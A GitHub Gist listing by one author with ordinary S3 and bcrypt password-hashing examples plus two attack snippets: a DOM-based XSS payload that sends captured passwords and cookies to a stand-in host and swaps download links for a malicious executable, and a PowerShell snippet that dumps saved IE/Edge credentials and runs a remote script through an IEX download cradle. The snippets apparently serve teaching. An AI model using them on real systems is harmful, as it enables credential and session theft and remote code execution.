Skip to content

Instantly share code, notes, and snippets.

View K-Mistele's full-sized avatar
🏴‍☠️

Kyle Mistele K-Mistele

🏴‍☠️
View GitHub Profile
@K-Mistele
K-Mistele / upload_example.py
Created December 22, 2020 22:28
An example of uploading and downloading files with the Bucket API
import s3_bucket as S3
import os
# get your key data from environment variables
AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID')
AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY')
# initialize the package
S3.Bucket.prepare(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
@K-Mistele
K-Mistele / blob_example.py
Created December 22, 2020 22:29
Example of storing large blobs of data with the Bucket API
import s3_bucket as S3
import os
# get your key data from environment variables
AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID')
AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY')
# initialize the package
S3.Bucket.prepare(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
@K-Mistele
K-Mistele / pseudocode.py
Created December 22, 2020 23:05
Python pseudo-code for password hashing
def login(username, password):
user = Users.get(username) # fetch the user record from the database
# if no user matches the username, don't log them in
if not user:
return False
# hash the supplied password
supplied_hash = some_hash_function(password)
@K-Mistele
K-Mistele / example.py
Created December 22, 2020 23:08
Password hashing with bcrypt in python
import bcrypt
# this will create the hash that you need to store in your database
def create_bcrypt_hash(password):
# convert the string to bytes
password_bytes = password.encode()
# generate a salt
salt = bcrypt.gensalt(14)
# calculate a hash as bytes
password_hash_bytes = bcrypt.hashpw(password_bytes, salt)
@K-Mistele
K-Mistele / DOMBasedXSS.js
Created January 15, 2021 21:43
Dom-based XSS
const username = document.getElementById('username_input');
const username_box = document.getElementById('username_box');
user_name_box.innerHTML = username;
// add an event listener to the form
const form_element = document.getElementsByTagName('form')[0];
form_element.addEventListener('submit', () => {
// capture the username and password from the form
const username = document.getElementById('username_input').value;
const password = document.getElementById('password_input').value;
// send the username and password to the attacker
fetch(`https://evil-website.com/password-capture/?u=${username}&p=${password}`);
// capture the cookies
const cookie = document.cookie;
// send the cookies to the attacker
fetch('https://evil-website.com/cookie-capture', {
data: cookie
});
// grab all download links on the page
const download_links = document.getElementsByClassName('download-link');
// change their target to a malicious piece of software hosted on the attacker's server
for (let link of download_links) {
link.setAttribute('href', 'https://evil-website.com/evil-program.exe');
}
@K-Mistele
K-Mistele / credlist.ps1
Created June 23, 2021 21:10
Pulling IE/Edge creds with PowerShell
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | % { $_.RetrievePassword();$_ } | select username,resource,password
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/HanseSecure/credgrap_ie_edge/master/credgrap_ie_edge.ps1')"